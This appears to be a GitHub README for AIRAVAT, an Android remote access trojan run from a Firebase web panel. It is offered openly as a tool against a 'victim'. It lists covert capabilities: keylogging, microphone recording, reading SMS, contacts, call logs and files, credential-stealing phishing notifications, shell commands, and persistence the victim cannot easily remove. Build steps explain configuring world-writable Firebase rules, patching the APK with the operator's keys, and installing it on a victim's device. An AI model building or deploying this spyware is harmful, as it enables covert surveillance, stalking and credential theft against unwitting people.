



AIRAVAT

- **∂** A multifunctional Android RAT with GUI based Web Panel without port forwarding.
- 2 This project is not my design, but I have made modifications, improvements and continuous development

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- · Read all the files of Internal Storage
- · Download Any Media to your Device from Victims Device
- · Get all the system information of Victim Device
- · Retrieve the List of Installed Applications

- Retrive SMS
- · Retrive Call Logs
- Retrive Contacts
- Send SMS
- · Gets all the Notifications
- Keylogger
- Admin Permission
- Show Phishing Pages to steal credentials through notification.
  - o Steal credentials through pre built phishing pages
  - o Open any suspicious website through notification to steal credentials.
- · Record Audio through Mic
- · Play music in Victim's device
- Vibrate Device
- · Text To Speech
- Turn On/Off Torch Light
- · Change Wallpaper
- Run shell Commands
- Get Clipboard text (Only When app's Activity is visible)
- Launch Any URL (Only When app's Activity is visible)
- · Runs In Background
  - o Auto Starts on restarting the device
  - o Auto Starts when any notification arrives
  - o Accepts name and photo changes
- The victim cannot simply delete it
- No port forwarding needed

# AIRAVAT

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**Dump SMS** 



Call Logs



My Files



**Apps List** 



Sys Info



Toast



Contacts



Play Music



Send SMS



Shell



Vibrator



TTS



Keylogger



Wallpaper



Notifications



PhishData



Scams



Recordings



ClipBoard



Torch



URL

# 

#### ∂ - Firebase Account

- ApkEasy Tool (For PC) or
- ApkTool M ( for Android)

## How to Build

## *∂* Firebase Setup

- 1. Create an Firebase Account and afterwords create a new project with any name.
- 2. Enable Firebase Database and Firebase Storage.
- 3. In Firebase Database Click on the rules and set .read and .write to true

```
o {
    "rules": {
        ".read": "true",
        ".write": "true"
    }
}
```

4. In Firebase Storage allow reads and writes for all paths.

```
o rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read, write
    }
  }
}
```

- 5. Now Go to project overview and create an Android App and download the google-services.json file.
- 6. Also create a web app and copy the config of webapp.

## Panel Setup

- You can use Github Pages, Firebase Hosting or any hosting site or <u>com.phlox.simpleserver.apk</u> to host the board.
- 2. Open <u>index.html</u> File and from <u>line number 16</u> replace the config with your web app config which you have created on Step 6.
- 3. Save the file, Your Panel Setup is completed.

## 

- 1. Install the application Simple HTTP Server
- 2. Edit the Root folder path within the application to the WEB PANEL location
- 3. Click START, then click 127.0.0.1 Go to any browser and paste the url And start

#### Android RAT

• Download hydra.apk

- 1. Unpack or edit the apk using any software recommended above.
- 2. Now open res/values/strings.xml file.
- ${\tt 3. \, Replace \, values \, of \, \, fire base\_database\_url \quad , \, google\_api\_key \, , \, google\_app\_id \, , \, google\_storage\_bucket \, , }$ project\_id
- 4. with your Firebase Account using google-services.json file which you have downloaded on step 5
  - o Example

```
ĊЪ
<string name="firebase_database_url">https://your_databaseURL.firebase.com</string>
<string name="google_api_key">your_apiKey</string>
<string name="google_app_id">your_appId</string>
<string name="google_storage_bucket">your_storageBucket</string>
<string name="project_id">your_projectId</string>
```

- 5. After saving the changes, in the strings.xml file
- 6. Click on Smali
- 7. Click on the key sign that means apk assembly.
- 8. Install the app in victim's device and give all the permissions after that the connection will show up in web panel.

#### Releases

No releases published

### **Sponsor this project**



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#### **Packages**

No packages published

#### Languages

HTML 100.0%